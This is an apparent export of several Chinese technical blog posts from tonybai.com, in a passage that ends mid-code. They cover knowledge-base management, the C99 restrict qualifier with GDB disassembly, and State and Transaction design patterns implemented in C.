支持快速发现知识(例如，MediaWiki支持分类，标签，支持全文搜索，支持主题订阅)\n- 适于协同创作，知识修改容易(这个本身就是Wiki的强项)\n- 功能易扩展(例如，MediaWiki通过插件实现各种各样的功能，比如甘特图，日历)\n- 知识展示手段丰富(例如，MediaWiki支持富文本，支持图片，内部和外部超链接等)\n二、知识库结构策划阶段\n每个组织都有自己特定的知识领域。知识库积累的就是在该领域内知识。积累前需要投入专人或小组来策划知识库的结构。将预想到的知识分门别类。分类由粗到细，甚至可以设置多级分类。为了便于知识发现，最好初始设定好一些常用的标签，这样通过搜索，我们就可以快速定位到知识所在。另外知识库的结构不是一成不变的，它应该随着知识库积累的知识的变化而适当变化，必要时需对知识库的结构做重构（比如发现之前的分类不合理）。知识库结构的重构带来的工作量有时候是很大的，所以尽量在初始情况下就全面合理地做好分类，避免后续重构。\n三、知识积累阶段\n知识库平台建立完毕后，就到了知识积累的阶段了，这个是全员参与的阶段。组织中的每个人都是知识库的贡献者。但事前最好制定一些知识积累的简要规程，比如规范知识提交的格式，规范主题的命名，段落格式等。知识积累阶段其实才是知识管理中最难的一个阶段，关键难在如何让组织内成员养成积极主动的进行知识积累的习惯，下面是一些可供参考的方法。\na) 适当宣导，让组织内成员意识到知识积累的重要性\nb) 针对知识库平台的使用做适当的培训和交流\nc) 将知识库平台打造的尽量易用，避免因复杂而导致排斥行为\nd) 日常沟通多引用知识库中知识的位置，让大家在潜移默化中对知识库产生依赖\ne) 引导关注。如果一个人贡献的知识受到大家的广泛关注，那么这个人将会有更大的热情贡献知识。组织内知识管理负责人可定期整理新增精品知识的简要并发给大家，吸引大家阅读知识，关注知识；通过展示知识关注度排名也可以激发大家的知识分享热情。\nf) 发掘和鼓励\u0026quot;知识分享达人\u0026quot;。由\u0026quot;二八定律\u0026quot;我们可以推断，组织内20%的人贡献了80%的知识。我们要发掘出这些\u0026quot;达人\u0026quot;，给予鼓励，必要时给予一定奖励。\ng) 将之前组织积累的以文件形式存在的知识迁移到新平台上。尽量将内容Web化而不是以文件附件（不利于知识发现）形式存在；如果没有精力，可对知识做简要描述，建立文件位置索引，方便大家发现。并鼓励大家在知识库平台上查找以前积累的知识。\n四、知识整理\n由于知识库是组织内人员协同丰富的，新知识的提交带有一定随意性，点状分布，不成系统，所以这些知识需要专人定期整理，划入适当分类，赋予更加合理的标签，尽量使其系统化。这个工作十分必要，否则一旦长久，知识库内的知识就像一根根独木，独自生长，永远也成不了连片的树林。\n五、知识备份\n知识是宝贵的，大家花了心血贡献的知识要保存好，保存完整。这样就需要定期对知识库进行备份。一般可通过后台运行的脚本自动备份，粒度做到每天备份一次自然就最好了。\n六、做好知识在不同层次知识库的流动\n不同组织知识库的建设是不同的，有的组织采用统一的知识库，有些组织有不同层次的知识库。对于前者，没有什么可说的，大家的知识都会汇集到一个库中；对于后者，我们需要弄清楚知识库的层次，让知识合理地在不同层次的知识库间流动。一般而言，低级别知识库(如部门的知识库）会定期将精华的且适合在上一级组织(公司的知识库)分享的知识导入上一级别知识库，换句话说低级别知识库可作为高级别知识库的素材库。\n关于我们的知识管理实践大致就这么六点内容，我们现阶段也是这么做的。后续我们要想在知识管理这块有所进阶，估计是需要请知识管理专家授业解惑了。\n","permalink":"https://tonybai.com/2011/11/23/those-things-about-knowledge-management/","summary":"\u003cp\u003e我不是\u003ca href=\"http://zh.wikipedia.org/zh/%E7%9F%A5%E8%AF%86%E7%AE%A1%E7%90%86\"\u003e知识管理\u003c/a\u003e领域的专家，但我认为知识的积累和管理对一个期望长久稳定发展的组织来说很重要。今天我这个\u0026quot;门外人\u0026quot;就来说几句\u0026quot;门外话\u0026quot;。\u003c/p\u003e\n\u003cp\u003e我所在的部门已经成立10余年了，但说实话部门在知识积累和管理方面做的比较一般。例如，没有统一的知识积累和管理平台，知识分享多靠mail列表，或将知识存储在文件中放入Microsoft \u003ca href=\"http://en.wikipedia.org/wiki/Microsoft_Visual_SourceSafe\"\u003eVisual SourceSafe\u003c/a\u003e，若干日子后，再无人能找到之前的知识(VSS绝对不是一个知识管理平台，顶多就是一个版本管理工具，还是个有些落伍的工具)；没有专人负责知识积累和管理；知识积累与管理似乎始终是优先级最低的那个任务。\u003c/p\u003e","title":"知识管理那些事儿"},{"content":"restrict关键字是C99标准中新引入的一个类型修饰符(type qualifier)。如果你看过GNU C库的源码或是其manual，你就会发现restrict修饰符被广泛地应用在GNU C库中。restrict关键字到底是用来做什么的呢？估计很多对C语言细节研究不够的程序员都无法给出答案，我个人也只是停留在\u0026quot;知道\u0026quot;这一关键字的层次上，于是乎今天我又对着C99规范钻研了一番，略有收获，这里也说道说道。\n为何C标准委员会要在C99标准中引入restrict呢？这当然是有历史原因的。我们先来看看下面这个例子：\n/* foo.c */\nvoid foo(int *p, int *q, int *r) {\n*p += *r;\n*q += *r ;\n}\nint main() {\nint a = 1;\nint b = 2;\nint c = 3;\nfoo(\u0026amp;a, \u0026amp;b, \u0026amp;c);\n}\nC语言的设计哲学之一就是性能至上，为了性能可以舍弃一切。C程序员都希望编译器能为自己编写的程序生成高性能的目标代码，我们现在就来看看GCC编译器(在优化开关-O2已打开的情况下)为这段程序生成的目标代码是什么样子的。\n我们通过GDB对函数foo进行反汇编，结果如下：\n(gdb) disas foo\nDump of assembler code for function foo:\n0x080483c0 : push %ebp\n0x080483c1 : mov %esp,%ebp\n0x080483c3 : mov 0×10(%ebp),%edx 0x080483c6 : mov 0×8(%ebp),%ecx 0x080483c9 : mov 0xc(%ebp),%eax 0x080483cc : push %ebx\n0x080483cd : mov (%edx),%ebx 0x080483cf : add %ebx,(%ecx) 0x080483d1 : mov (%edx),%edx 0x080483d3 : add %edx,(%eax) 0x080483d5 : pop %ebx\n0x080483d6 : pop %ebp\n0x080483d7 : ret End of assembler dump.\n这段汇编代码不是很难，我们将关键部分抽取出来并在每行汇编码后面给出解释：\nmov 0×10(%ebp),%edx ; r -\u0026gt; %edx，将指针r指向的内存对象的地址放入寄存器edx\nmov 0×8(%ebp),%ecx ; p -\u0026gt; %ecx，将指针p指向的内存对象的地址放入寄存器ecx\nmov 0xc(%ebp),%eax ; q -\u0026gt; %eax，将指针q指向的内存对象的地址放入寄存器eax\npush %ebx\nmov (%edx),%ebx ; *r -\u0026gt; %ebx，将指针r指向的内存对象的值加载到寄存器ebx中\nadd %ebx,(%ecx) ; *r + *p -\u0026gt; *p， 将寄存器ebx中的数值与指针p所指内存对象的值相加，结果存放在指针p所指的内存对象中\nmov (%edx),%edx ; *r -\u0026gt; %edx，将指针r指向的内存对象的值加载到寄存器edx中\nadd %edx,(%eax) ; *r + *q -\u0026gt; *q，将寄存器edx中的数值与指针q所指内存对象的值相加，结果存放在指针q所指的内存对象中\n这段汇编代码是否是经过优化过的呢？我们结合foo函数的源代码分析后可以发现生成的目标码并非是经过优化的。在foo函数中指针r指向的内存对象一直都作为右值，其值没有被改动，编译器在第二次加法操作中完全可以直接利用第一次加载*r值的寄存器，而不是重新从内存中加载*r。但编译器为何没有优化掉这次访存操作呢？原因就在于编译器凭借C源代码中已有的信息是无法作出这种优化决策的。因为当编译器在foo的实现的上下文中看到三个指针时，它并不能判断出这三个指针所指向的地址是否有重叠，也就是说编译器并不能确定在第二次加法操作之前，r指向的内存对象是否被改变，编译器只能中规中矩地生成未经优化的目标代码，即每次都重新加载*r到寄存器，否则擅自优化会导致一些不可预期的行为。\n那如何能帮助编译器作出正确的优化决策呢？这就需要程序员显式地为编译器提供用于决策的信息。在C99以前，很多编译器通过提供#Pragma参数或自扩展的关键字来实现这一点。比如：GCC为程序员提供了__restrict__或__restrict扩展关键字，有了这些关键字后，C程序员就可以显式地向编译器传达信息了。还以foo为例，我们看看加上__restrict__后编译器为函数foo生成的目标代码是什么样子的：\nvoid foo(int *__restrict__ p, int *__restrict__ q, int * __restrict__r) {\n*p += *r;\n*q += *r ;\n}\n(gdb) disas foo\nDump of assembler code for function foo:\n0x080483c0 : push %ebp\n0x080483c1 : mov %esp,%ebp\n0x080483c3 : mov 0×10(%ebp),%edx\n0x080483c6 : mov 0×8(%ebp),%ecx\n0x080483c9 : mov 0xc(%ebp),%eax\n0x080483cc : mov (%edx),%edx\n0x080483ce : add %edx,(%ecx)\n0x080483d0 : add %edx,(%eax)\n0x080483d2 : pop %ebp\n0x080483d3 : ret End of assembler dump.\n我们主要来看下面连续的三行汇编代码：\n0x080483cc : mov (%edx),%edx ; *r -\u0026gt; %edx，将指针r指向的内存对象的值加载到寄存器edx中\n0x080483ce : add %edx,(%ecx) ; *r + *p -\u0026gt; *p，将寄存器edx中的数值与指针p所指内存对象的值相加，结果存放在指针p所指的内存对象中\n0x080483d0 : add %edx,(%eax) ; *r + *q -\u0026gt; *q，将寄存器edx中的数值与指针q所指内存对象的值相加，结果存放在指针q所指的内存对象中\n可以看到这次编译器生成了优化后的代码，第二次加法操作直接用的是缓存在寄存器中的*r值。以上就是C99引入restrict关键字的一个基本考虑，通过restrict，C程序员可以告知编译器大胆地去执行优化，程序员来保证代码符合restrict语义的约束要求，这可以看作是一种程序员与编译器间的契约。\n前面说过restrict是一种类型修饰符，但不同于其他两种修饰符const和volatile，restrict仅用于修饰指针类型与不完整类型(incomplete types)，C99规范中对restrict的诠释是这样的：\u0026ldquo;Types other than pointer types derived from object or incomplete types shall not be restrict-qualified\u0026rdquo;。用restrict修饰指针是最常见的情况，被restrict修饰的指针到底有何与众不同呢？\n用restrict修饰某指针变量意味着在该指针变量的生命周期内，该指针是其所指内存对象的唯一访问和修改入口，即所有对其所指的内存对象数据的访问和修改都是通过该指针完成的。或是说在特定上下文中该指针所指的内存对象不存在别名(Alias)。何为别名？引用同一内存对象的多个变量互为别名。比如：\nint a = 5;\nint *p = \u0026amp;a;\nint *q = p;\n这样p, q, a互为别名，它们都引用到地址\u0026amp;a。另外如果两个指针所指向的内存对象有相互重叠，那相互也算做是一种别名。\nrestrict的语义约束可以分成两个方面，一个是对内部的，一个是对外部的。我们还以上面的foo函数为例，这里稍作改动，去掉p，q两个参数的restrict修饰：\nvoid foo(int *p, int *q, int *restrict r) {\n*p += *r;\n*q += *r ;\n}\n从foo内部来看，r是一个被restrict修饰的指针，其生命周期从foo执行开始一直到foo执行结束。按照上面对restrict的诠释，在foo函数内部不应该存在指针r所指内存对象的别名，即不应该存在下面情况：\nvoid foo(int *p, int *q, int *restrict r) {\nint *z = r;\n…later, use r and z…\n}\n这的约束是foo的实现者保证的。\n对于外部而言，即foo的使用者依然要保证传入实参后p或q不是r所指内存对象的别名，下面这样的代码将违反约束：\nint a = 5;\nint b = 6;\nfoo(\u0026amp;a, \u0026amp;b, \u0026amp;b);\n这里还有一个问题：虽然r用了restrict修饰符，但编译器在看到void foo(int *p, int *q, int *restrict r)这个函数原型后就一定会生成优化的代码吗？显然通过这个原型信息，编译器依旧无法保证p或q不是r所指内存地址的别名，所以对上面这段代码编译器无法给出优化，即使r是被restrict修饰的，至少在我的Ubuntu gcc 4.4.3上是不会生成优化目标代码的。也就是说这个例子中foo的设计者与编译器之间的契约不够充分，无法让Compiler完全信服地去执行优化。这就需要进一步的补充契约，也就是让Compiler意识到p, q, r在foo中都是各自所指内存地址的唯一入口，为了达到这一点，我们只能为p, q也加上restrict修饰，这样契约变成foo内部的p, q, r是给自所指内存的唯一入口，p, q, r也就不可能是对方的别名了。\n但即使所有指针参数都加上restrict修饰，Compiler就一定会生成优化的代码吗，事实是也不一定。看下面例子：\nvoid foo1(int *restrict p, int *restrict q, char *restrict r) {\n*p += (int)*r;\n*q += (int)*r;\n}\nvoid foo2(int *restrict p, int *restrict q, long long int *restrict r) {\n*p += (int)*r;\n*q += (int)*r;\n}\n可以看到我们分别将foo函数的最后一个参数r的类型换为了char*和long long int*并,形成两个函数foo1和foo2，我们尝试用GCC生成对应的目标代码，通过反编译，我们可以得到如下结果：\n(gdb) disas foo1\nDump of assembler code for function foo1:\n0×08048430 : push %ebp\n0×08048431 : mov %esp,%ebp\n0×08048433 : mov 0×10(%ebp),%edx\n0×08048436 : mov 0×8(%ebp),%ecx\n0×08048439 : mov 0xc(%ebp),%eax\n0x0804843c : push %ebx\n0x0804843d : movsbl (%edx),%ebx\n0×08048440 : add %ebx,(%ecx)\n0×08048442 : movsbl (%edx),%edx\n0×08048445 : add %edx,(%eax)\n0×08048447 : pop %ebx\n0×08048448 : pop %ebp\n0×08048449 : ret End of assembler dump.\n(gdb) disas foo2\nDump of assembler code for function foo2:\n0×08048450 : push %ebp\n0×08048451 : mov %esp,%ebp\n0×08048453 : mov 0×10(%ebp),%edx\n0×08048456 : mov 0×8(%ebp),%ecx\n0×08048459 : mov 0xc(%ebp),%eax\n0x0804845c : mov (%edx),%edx\n0x0804845e : add %edx,(%ecx)\n0×08048460 : add %edx,(%eax)\n0×08048462 : pop %ebp\n0×08048463 : ret End of assembler dump.\n我们可以看到GCC只为foo2生成了优化后的代码，而foo1并未被优化。这个结果让人有些摸不着头脑。难道编译器认为char*指针有成为int*指针所指对象的alias的潜在可能，而int*指针无法成为long long int*指针所指对象的alias？在C99规范中我也没能找到解释这一现象的答案。看来即使增加了restrict，编译器也是有选择的信任，至少Gcc是这样的。\nrestrict的作用范围与其修饰的指针的生命周期一致，你可以声明文件作用域(file scope)的restrict指针变量，也可以在某个代码block中使用restrict指针。如果某个结构体成员是restrict pointer类型，那该指针的生命周期就等同于该结构体实例的生命周期。\n如果你恶意破坏你和Compiler之间的契约，别指望Compiler会有Warning提示，Compiler在这方面是完全信赖程序员的，不确定行为不可避免。比如：\nvoid foo(int *restrict p, int *restrict q, int *restrict r) {\n*p += *r;\n*q += *r;\n}\nint main() {\nint a = 1;\nint b = 2;\nint c = 3;\nfoo(\u0026amp;a, \u0026amp;b, \u0026amp;a);\nprintf(\u0026ldquo;a = %d, b = %d, c = %d\\n\u0026rdquo;, a, b, c);\n}\n执行优化后的程序，我们得到的输出为：\n$ a.out\na = 2, b = 4, c = 3\n这显然与预期的a = 2, b = 3, c = 3不符，错误原因就在于你单方面违反了restrict契约。\nC99规范中对restrict关键字的讲解还算不少，甚至还给出了formal definition(C99 6.7.3.1)，不过这个定义简直就像一段天书，实在是晦涩难懂(《The New C Standard》一书对此有逐句的解释，不过依旧很难理解)。另外restrict的存在对程序本身的语义没有任何影响，对于不支持restrict的编译器也大可忽略restrict修饰符。\n至于在平时开发中如何使用restrict，我个人觉得最好是在有一定理解的前提下使用。这对C程序员能力还是有一定要求的。首先要明确你编写的函数内部是否有可以优化的地方，如果根本没有可优化的潜力，那使用restrict就画蛇添足了；当然还有一种情况下你用restrict并不是期望编译器给予优化，而是你的实现算法是基于参数指针所指内存对象无alias的前提的，你在函数原型中用restrict修饰参数主要是想将你的意图告知该函数的使用者；第二要知道restrict对函数内部实现的约束，不要在内部实现时违反约束，导致未定义行为；第三如果你是一个使用者，面对采用了restrict修饰的函数接口，如void *memcpy(void * restrict s1, const void * restrict s2, size_t n)，你要注意不能违反restrict约束，否则也会导致未定义行为。如果你是一个公共库的开发者，你更应该尽量采用restrict，这对你的库代码的性能会是大有裨益的。\n","permalink":"https://tonybai.com/2011/11/18/also-talk-about-restrict-type-qualifier-in-c/","summary":"\u003cp\u003erestrict关键字是\u003ca href=\"http://tonybai.com/2005/07/28/introduction-on-c-standard-overview-series/\"\u003eC99标准\u003c/a\u003e中新引入的一个类型修饰符(type qualifier)。如果你看过\u003ca href=\"http://tonybai.com/2009/04/11/glibc-strlen-source-analysis/\"\u003eGNU C库\u003c/a\u003e的源码或是其\u003ca href=\"http://www.gnu.org/software/libc/manual/\"\u003emanual\u003c/a\u003e，你就会发现restrict修饰符被广泛地应用在GNU C库中。\u003ca href=\"http://www.lysator.liu.se/c/restrict.html\"\u003erestrict关键字\u003c/a\u003e到底是用来做什么的呢？估计很多对C语言细节研究不够的程序员都无法给出答案，我个人也只是停留在\u0026quot;知道\u0026quot;这一关键字的层次上，于是乎今天我又对着C99规范钻研了一番，略有收获，这里也说道说道。\u003c/p\u003e\n\u003cp\u003e为何C标准委员会要在C99标准中引入restrict呢？这当然是有历史原因的。我们先来看看下面这个例子：\u003cbr\u003e\n/* foo.c */\u003cbr\u003e\nvoid foo(int *p, int *q, int *r) {\u003cbr\u003e\n    *p += *r;\u003cbr\u003e\n    *q += *r ;\u003cbr\u003e\n}\u003c/p\u003e","title":"也谈C语言的restrict类型修饰符"},{"content":"上个周末花了些时间将《Pro Git》（Git高手进阶之必读书籍，严重推荐^_^）快速地浏览了一遍，在感叹于Git强大的同时，也见识到了Git的复杂。可以肯定的是Git学习曲线远没有学习Subversion那样平坦。比如，Subversion工作目录下的文件只有三种状态：Untracked、Modified和Committed(即Unmodified)；而以Git本地工作目录下则有四种状态：Untracked、Staged、Modified和Committed(即Unmodified)。虽然只多出了一种状态，但感觉其复杂度又上了一个台阶。\nGit在这里只是一个引子，我真正要说的还是设计模式，只不过这个模式对应的例子实现与Git的一个命令相关罢了。这个命令就是Git status。Git status可以根据当前工作目录下文件的不同状态输出不同的提示信息，例如，对于工作目录中处于\u0026quot;未跟踪\u0026quot;状态的文件foo.txt，Git会输出下面信息：\n$ git status\n# On branch master\n# Untracked files:\n# (use \u0026ldquo;git add [file]…\u0026rdquo; to include in what will be committed)\n# foo.txt\nnothing added to commit but untracked files present (use \u0026ldquo;git add\u0026rdquo; to track)\n而对于工作目录下处于已修改(modified)，但未缓存(unstaged)的文件foo.txt，它的输出就会变成：\n$ git status\n# On branch master\n# Changed but not updated:\n# (use \u0026ldquo;git add [file]…\u0026rdquo; to update what will be committed)\n# (use \u0026ldquo;git checkout — [file]…\u0026rdquo; to discard changes in working directory)\n# modified: foo.txt\nno changes added to commit (use \u0026ldquo;git add\u0026rdquo; and/or \u0026ldquo;git commit -a\u0026rdquo;)\n好了，假如你是负责实现这个功能的C程序员，你会如何来实现它呢？是这样吗：\nvoid git_status(const struct file_t *file) {\nswitch(file-\u0026gt;status) {\ncase UNTRACKED:\n…\ncase STAGED:\n…\ncase MODIFIED:\n…\ncase COMMITED:\n…\ndefault:\n…\n}\n}\n对于众多设计模式的忠实粉丝来说，这样的实现势必会\u0026quot;犯众怒\u0026quot;：怎么可以有switch…case呢，怎么可以让git_status与file_t的内部状态值耦合在一起呢？经验告诉我们：遇到问题，找模式！这次的题目似乎给了我们很直观的提示：我们应该用State模式来改造git_status的实现。\n首先抽出接口file_state_t。\n/* file_state.h */\nstruct file_state_t {\nvoid (*file_state_func)(struct file_state_t *this, const char *filename, void *arg);\n};\n接下来，我们给出各位文件状态的实现，包括untracked_file_state、modified_file_state、committed_file_state以及staged_file_state，为了节省篇幅这里谨以untracked_file_state为例：\n/* untracked_file_state.h */\nstruct file_state_t* untracked_file_state_instance();\nvoid untracked_file_state_destroy();\n/* untracked_file_state.c */\nstruct untracked_file_state_t {\nstruct file_state_t fs;\n/* other fields here… */\n};\nstatic struct untracked_file_state_t *_untracked_file_state = NULL;\nstatic void dump_untracked_file_state(struct file_state_t *this, const char *filename, void *arg) {\nprintf(\u0026quot;# Untracked files:\\n\u0026quot;\n\u0026ldquo;# (use \\\u0026ldquo;git add [file]…\\\u0026rdquo; to include in what will be committed)\\n\u0026rdquo;\n\u0026ldquo;#\\n\u0026rdquo;\n\u0026ldquo;# %s\\n\u0026rdquo;\n\u0026ldquo;nothing added to commit but untracked files present (use \\\u0026ldquo;git add\\\u0026rdquo; to track)\\n\u0026rdquo;,\nfilename);\n}\nstruct file_state_t* untracked_file_state_instance() {\nif (!_untracked_file_state) {\n_untracked_file_state = (struct untracked_file_state_t*)malloc(sizeof(*_untracked_file_state));\nif (!_untracked_file_state) return NULL;\nmemset(_untracked_file_state, 0, sizeof(*_untracked_file_state));\n_untracked_file_state-\u0026gt;fs.file_state_func = dump_untracked_file_state;\n}\nreturn (struct file_state_t*)_untracked_file_state;\n}\nvoid untracked_file_state_destroy() {\nif (_untracked_file_state)\nfree(_untracked_file_state);\n_untracked_file_state = NULL;\n}\nuntracked_file_state_t对象的创建方式采用了类似Singleton模式的手法，减少了频繁创建销毁带来的消耗，在后面使用这个state对象时我们会看得更加清楚。其他几个file_state_t接口的实现大同小异，不同的是dump_xx_file_state的实现。\n最后，将各个State对象用于模拟Git场景中，我们来看看效果：\n/* main.c */\nstruct file_t {\nchar filename[PATH_MAX];\nstruct file_state_t *state;\n};\nstatic struct file_t* file_new(const char *filename) {\nstruct file_t *f = (struct file_t*)malloc(sizeof(*f));\nif (!f) return NULL;\nmemset(f, 0, sizeof(*f));\nstrcpy(f-\u0026gt;filename, filename);\n/* 文件的初始状态: Untracked */\nf-\u0026gt;state = untracked_file_state_instance();\nif (!f-\u0026gt;state) {\nfree(f);\nreturn NULL;\n}\nreturn f;\n}\nstatic void file_status(struct file_t *f) {\nf-\u0026gt;state-\u0026gt;file_state_func(f-\u0026gt;state, f-\u0026gt;filename, NULL);\n}\nstatic void file_add(struct file_t *f) {\nf-\u0026gt;state = staged_file_state_instance();\n}\nstatic void file_commit(struct file_t *f) {\nf-\u0026gt;state = committed_file_state_instance();\n}\nstatic void file_modified(struct file_t *f) {\nf-\u0026gt;state = modified_file_state_instance();\n}\nint main(int argc, const char *argv[])\n{\nstruct file_t *f = file_new(\u0026ldquo;foo.txt\u0026rdquo;);\nfile_status(f);\nfile_add(f);\nfile_status(f);\nfile_commit(f);\nfile_status(f);\nfile_modified(f);\nfile_status(f);\nreturn 0;\n}\n这个程序的输出结果与预期完全一致。没有了switch…case，没有了实现耦合，这下很多模式Fans怒火可以消消了。不过State模式的这种实现缺点也很明显，那就是一旦状态众多，对应的file_state_t接口实现的数量也就随着增多，从实现角度来看，代码似乎有些散。\n从例子中我们可以看出这种State模式的实现是一种行为驱动的状态迁移，这种状态迁移是由State对象的使用者在上下文完成的。\n用C语言亲手实现了多个模式后（Iterator、Observer、Strategy、Chain of Responsibility和Transaction），愈来愈觉得其内在的思维方式是一致的。因此以后面对问题也大可不必拘泥于某一种模式，而是要融会贯通，以无招胜有招，路子对了，一切也就水到渠成了。\n","permalink":"https://tonybai.com/2011/11/07/implement-state-pattern-in-c/","summary":"\u003cp\u003e上个周末花了些时间将《\u003ca href=\"http://progit.org/book/zh\"\u003ePro Git\u003c/a\u003e》（Git高手进阶之必读书籍，严重推荐^_^）快速地浏览了一遍，在感叹于\u003ca href=\"http://git-scm.com/\"\u003eGit\u003c/a\u003e强大的同时，也见识到了Git的复杂。可以肯定的是Git学习曲线远没有学习\u003ca href=\"http://tonybai.com/2011/03/23/also-talk-about-solving-the-svn-conflicts/\"\u003eSubversion\u003c/a\u003e那样平坦。比如，Subversion工作目录下的文件只有三种状态：Untracked、Modified和Committed(即Unmodified)；而以Git本地工作目录下则有四种状态：Untracked、Staged、Modified和Committed(即Unmodified)。虽然只多出了一种状态，但感觉其复杂度又上了一个台阶。\u003c/p\u003e\n\u003cp\u003eGit在这里只是一个引子，我真正要说的还是\u003ca href=\"http://tonybai.com/tag/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F\"\u003e设计模式\u003c/a\u003e，只不过这个模式对应的例子实现与Git的一个命令相关罢了。这个命令就是Git status。Git status可以根据当前工作目录下文件的不同状态输出不同的提示信息，例如，对于工作目录中处于\u0026quot;未跟踪\u0026quot;状态的文件foo.txt，Git会输出下面信息：\u003cbr\u003e\n$ git status\u003cbr\u003e\n# On branch master\u003c/p\u003e","title":"State模式的C实现"},{"content":"提到Transaction模式(即事务模式)，很多人会感到陌生。这并不奇怪，在大名鼎鼎的GoF的《Design Pattern》一书中，它仅仅是Command模式的别名罢了。不过在实际的开发中，我们却经常会遇到可以应用事务模式的场景。本文可以理解成Command模式在事务领域的应用，但这样说有些麻烦，我们莫不如直接称之为Transaction模式。\n与前几篇设计模式C实现系列文章一样，这篇文章也源于对实际问题的思考和总结。这次的问题是这样的：我们的业务系统实现了一个ftp上传文件的功能，其v1版代码的结构简化后大致如下：\nint ftp_upload_file(const char *filename, const remote_server_desc *desc) {\nint ret;\nret = upload_local_file(filename, desc);\nif (ret)\nreturn ret;\nret = remove_local_file(filename);\nif (ret)\nreturn ret;\nreturn rename_remote_file(filename, desc);\n};\n代码的大致流程是这样的：\n1、首先调用upload_local_file，将本地文件(比如foo.txt)上传到远程主机(上传后名字为foo.txt.tmp)\n2、然后调用remove_local_file，删除本地文件(如foo.txt)\n3、最后调用rename_remote_file，对远程主机上的文件进行改名操作(如将foo.txt.tmp改为foo.txt)\n正常情况下，这版代码工作的也很好，以下是正常情况下的输出：\nupload [foo.txt.tmp] to host [10.10.12.123, incoming/txt] Ok!\nremove localfile [foo.txt] Ok!\nrename [foo.txt.tmp] to [foo.txt] Ok!\n但明眼人都可以看出v1版本代码的问题，那就是对业务异常的处理不够理想，下面列举一些可能出现异常的环节：\n1、upload_local_file可能出现异常，返回失败\n这时文件也许已经上传成功，我们在退出整个上传流程之前，应该尝试调用remove_remote_file，删除远程主机上的文件，恢复系统状态到上传前状态；\n2、remove_local_file可能出现异常，返回失败\n此时文件已经上传成功，若不做任何处理而直接退出的话，会导致下次重复上传同名文件而出现覆盖异常。为了防止这一问题的发生，我们在退出整个上传流程之前，应该尝试调用remove_remote_file，删除远程主机上的文件，恢复系统状态；\n3、rename_remote_file也可能出现异常，返回失败\n此时文件已经上传成功，且本地文件已经被删除，若改名失败而不做任何处理，将会导致已经上传到远程主机上的文件永远不会被处理（因为后缀名为.tmp，远程主机上的处理程序无法识别）。为了应对这一异常，我们应该在退出整个上传流程之前，恢复本地文件，并删除已经上传到远程主机上的文件，以恢复系统状态。\n于是，我们就有了v2版代码，见下面：\nint ftp_upload_file(const char *filename, const remote_server_desc *desc) {\nint ret;\nret = upload_local_file(filename, desc);\nif (ret) {\n(void)remove_remote_file(filename, desc);\nreturn ret;\n}\nret = remove_local_file(filename);\nif (ret) {\n(void)remove_remote_file(filename, desc);\nreturn ret;\n}\nret = rename_remote_file(filename, desc);\nif (ret) {\n(void)remove_remote_file(filename, desc);\n(void)recovery_local_file(filename);\nreturn ret;\n}\nreturn ret;\n};\n这样修改后，若rename出现异常，则执行结果会变为：\nupload [foo.txt.tmp] to host [10.10.12.123, incoming/txt] Ok!\nremove localfile [foo.txt] Ok!\nrename [foo.txt.tmp] to [foo.txt] Failed!\nremove [foo.txt.tmp] from host [10.10.12.123, incoming/txt] Ok!\nrecover localfile [foo.txt] Ok!\n程序在出现异常后将系统状态恢复到未操作前，并会在下一次操作中重新尝试。可以看出这是一个典型的事务场景，即整个上传过程是一个不可分割的整体，其中包括的诸多操作要么都做，要么都不做。\n一切初看上去都很美！但用优雅设计的尺度细致考量，我们就会发现一些问题：\n首先，如果一个事务场景包含的操作序列很多，那代码中的异常处理将是很痛苦的事情，以最后一步操作为例，一旦异常出错，我们就需要显式做N步回退处理，代码必然显得十分繁琐。另外大量的错误码判断，也会引入诸多if，势必使得代码味道较差；\n其次，事务操作的具体实现都暴露给调用者，这在调用者与事务实现之间引入耦合，不利于代码的单元测试与调试；\n最后，类似的事务场景在系统中存在很多，如果按v2版本的实现方式，那么系统中将会存在大量类似结构的代码，也算是一种重复吧。\n我们的解决手段无非还是面向接口和封装变化，于是我们就有了充分参考了Transaction模式解决方法的v3版代码。\n/* 通用事务接口 transaction_unit.h */\nstruct transaction_unit_t {\nint (*execute)(struct transaction_unit_t *this, void *arg); /* alias: commit */\nint (*unexecute)(struct transaction_unit_t *this, void *arg); /* alias: rollback */\n};\n/* upload_request.h */\nstruct upload_request {\nchar filename[PATH_MAX];\nchar ip[16];\nchar path[PATH_MAX];\n};\n/* ftp_upload_transaction_unit.h */\nstruct transaction_unit_t* ftp_upload_transaction_unit_new();\nvoid ftp_upload_transaction_unit_destroy(struct transaction_unit_t **tu);\n/* ftp_upload_transaction_unit.c */\ntypedef struct operation_pair operation_pair;\ntypedef APR_RING_HEAD(operation_pair_head_t, operation_pair) operation_pair_head_t;\nstruct operation_pair {\nAPR_RING_ENTRY(operation_pair) link;\nint (*do_func)(struct upload_request* r);\nint (*undo_func)(struct upload_request* r);\n};\nstruct ftp_upload_transaction_unit_t {\nstruct transaction_unit_t tu;\noperation_pair_head_t ops;\noperation_pair *op; /* 记录操作异常所在单元 */\n};\nstruct transaction_unit_t* ftp_upload_transaction_unit_new() {\nstruct ftp_upload_transaction_unit_t *tu;\ntu = (struct ftp_upload_transaction_unit_t*)malloc(sizeof(*tu));\nif (!tu) return NULL;\nmemset(tu, 0, sizeof(tu));\ntu-\u0026gt;tu.execute = ftp_upload_transaction_execute;\ntu-\u0026gt;tu.unexecute = ftp_upload_transaction_unexecute;\nAPR_RING_INIT(\u0026amp;(tu-\u0026gt;ops), operation_pair, link);\noperation_pair *op = (operation_pair*)malloc(sizeof(*op)); /* 这里省略一些异常处理，下面也是如此 */\nop-\u0026gt;do_func = upload_local_file;\nop-\u0026gt;undo_func = remove_remote_file;\nAPR_RING_ELEM_INIT(op, link);\nAPR_RING_INSERT_TAIL(\u0026amp;(tu-\u0026gt;ops), op, operation_pair, link);\nop = (operation_pair*)malloc(sizeof(*op));\nop-\u0026gt;do_func = remove_local_file;\nop-\u0026gt;undo_func = recover_local_file;\nAPR_RING_ELEM_INIT(op, link);\nAPR_RING_INSERT_TAIL(\u0026amp;(tu-\u0026gt;ops), op, operation_pair, link);\nop = (operation_pair*)malloc(sizeof(*op));\nop-\u0026gt;do_func = rename_remote_file;\nop-\u0026gt;undo_func = NULL;\nAPR_RING_ELEM_INIT(op, link);\nAPR_RING_INSERT_TAIL(\u0026amp;(tu-\u0026gt;ops), op, operation_pair, link);\nreturn (struct transaction_unit_t*)tu;\n}\nstatic int ftp_upload_transaction_execute(struct transaction_unit_t *tu, void *arg) {\nstruct ftp_upload_transaction_unit_t *this = (struct ftp_upload_transaction_unit_t*)tu;\noperation_pair *op = 